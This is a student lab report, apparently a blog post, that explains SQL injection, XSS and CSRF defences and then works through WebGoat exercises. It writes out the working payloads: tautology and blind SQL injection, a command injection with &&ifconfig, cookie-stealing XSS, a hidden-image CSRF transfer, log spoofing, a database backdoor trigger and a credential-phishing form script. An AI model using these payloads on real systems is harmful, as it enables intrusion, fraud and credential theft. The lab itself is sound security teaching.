问题回答

SQL注入攻击原理?如何防御?

原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

  • 防御:

    1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。

    2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

    3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

    4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

    5.应用的异常信息应该给出尽可能少的提示。

    6.采取辅助软件或网站平台来检测sql注入。
XSS攻击的原理?如何防御?

原理:在Web页面里插入恶意Script代码,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,一个看似安全的网页却有可能盗取用户的cookies,或者登录名密码等信息。

  • 防御:

1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。

2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

CSRF攻击原理?如何防御?

原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

  • 防御:

1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。

3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

WebGoat安装

  • WebGoat简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat
  • WebGoat使用8080端口,所以在浏览器上访问localhost:8080/WebGoat,进入WebGoat

SQL字符串注入(String SQL Injection)

这是一个表单让使用者查询他的信用卡号,使用SQL注入让所有的信用卡号都看得见

现在要做的是让这个语句中的WHERE这个条件语句失效

a or 1 不管a是真或假最后输出都是1,只有构造这样一个永真式“1”,那么不管前面的WHERE是否成立都能够执行!

所以,可以构造语句'or 1='1,将输入进的语句变成两条语句,为永真。

第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句!

页面刷新了一下看不到效果了,如下图。

命令注入(Command Injection)

捕获到数据



send to Repeater,更改URL处为AccessControlMatrix.help"&&ifconfig"

盲数字注入(Blind Numeric SQL Injection)

目标是得到一个存放在pins表中值pin的内容,行号是一个int型的数据cc_number=1111222233334444,

先确定pin值的范围,输入语句

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );

有效的,说明pin值大于100

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );

无效的,说明pin值小于5000

最后得到结果

反射型XSS(Reflected XSS Attacks)

用burpsuite可以发现,UpdateCart Purchase均以post提交数据,但在Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以构造js语言

<SCRIPT>alert(document.cookie);</SCRIPT>

得到cookies

储存型XSS(Stored XSS Attakcs)

一个关于去除你曾经输入信息的练习。应该是要输入一个HTML标签在Message中。

相当于是给用户发一个信息,用户在打开这个信息时信息里的js代码被应用,然后得到用户cookies。

Cross Site Request Forgery(CSRF)

要写一个URL诱使其他用户点击,从而触发CSRF攻击事件。

本题中大致意思是要给别人发个邮件,其中有个包含XSRF页面恶意请求的图像,但是这个图像要隐藏。

根据题目要求我们伪装这样一条语句:

<img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=6000"/>

CSRF Prompt By-Pass

这次邮件包含两个恶意请求:一个是转钱的金额,另一个是确认转账

点击20145232就完成了转账和转账确认!

Log Spoofing

在这里输入的用户名会被追加到日志文件中,在User Name文本框中输入lxm%0d%0aLogin Succeeded for username: admin使用户名为“admin”的用户在日志中显示“成功登录”

Database Backdoors

先输一个101,得到了该用户的信息

可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:101; update employee set salary=10000,成功把该用户的工资涨到了10000:

创建一个后门,把表中所有的邮箱和用户ID都设为自己的:

101;CREATE TRIGGER HWHBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='new@foxmail.com' WHERE userid = NEW.userid

Phishing with XSS

这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。

<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

20145232韩文浩 《网络对抗技术》 Web安全基础实践的更多相关文章

  1. 20145239杜文超《网络对抗》- Web安全基础实践

    20145239杜文超<网络对抗>- Web安全基础实践 基础问题回答 (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  2. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  3. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  4. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

  5. 20145227鄢曼君《网络对抗》Web安全基础实践

    20145227鄢曼君<网络对抗>Web安全基础实践 实验后回答问题 1.SQL注入攻击原理,如何防御? SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是 ...

  6. 20145120黄玄曦《网络对抗》Web安全基础实践

    20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...

  7. 20145217《网络对抗》 Web安全基础实践

    20145217<网络对抗> Web安全基础实践 一.实践任务 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.实验后回答问题 (1)SQL注入攻击原理,如 ...

  8. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  9. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  10. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

随机推荐

  1. C语言顺序栈

    10进制转任何进制 #include<stdio.h> #include<stdlib.h>#define maxSize 30typedef int DataType;typ ...

  2. ssh登录locale报错:cannot change locale (zh_CN.UTF-8): No such file or directory

    一.登录ssh报错: Last :: from 172.28.146.109 -bash: warning: setlocale: LC_ALL: cannot change locale (en_C ...

  3. VS2017企业版密钥

    Visual Studio 2017(VS2017) 企业版 Enterprise 注册码:NJVYC-BMHX2-G77MM-4XJMR-6Q8QFVisual Studio 2017(VS2017 ...

  4. MySql数据库命令行操作说明

    MySql数据库操作说明 1.  使用电脑的运行cmd指令打开dos界面 2.  输入cd C:\Program Files\MySql\bin命令回车,进入mysqld目录 3.  输入mysql ...

  5. Python设计模式 - UML - 时序图(Sequence Diagram)

    简介 时序图表示参与者与对象之间.对象与对象之间的动态交互过程及时序关系. 时序图详细而直观地展示了对象随时间变化的状态.调用关系和消息时序,时序图中的主要元素有:参与者(Actor), 对象(Obj ...

  6. HttpSession原理及Session冲突

    一.摘要         本文讨论了web服务器靠session id识别客户端.以及透过原理分析session冲突的原因,发现session冲突的原因是保存session id信息的cookie发生 ...

  7. 一些matlab命令

    expand: R = exprnd(MU) returns an array of random numbers chosen from the exponential distribution w ...

  8. PCIE4.0 简单介绍

    关于PCI-E的标准,可以从2003年说起,2003年推出了PCI-E 1.0标准,在三年之后就推出了PCI-E 2.0,而在4年后的2010年就推出了PCI-E 3.0,但是在2010年之后的6年里 ...

  9. java_26 缓冲流

    1.缓冲流: 读取数据大量的文件时,读取的速度慢, java提供了一套缓冲流,提高IO流的效率.分为字节缓冲流和字符缓冲流. 字节缓冲流: 缓冲输出流:BufferedOutputStream 缓冲输 ...

  10. Linux 防火墙iptables开放端口

    Iptabels是与Linux内核集成的包过滤防火墙系统,几乎所有的linux发行版本都会包含Iptables的功能.如果 Linux 系统连接到因特网或 LAN.服务器或连接 LAN 和因特网的代理 ...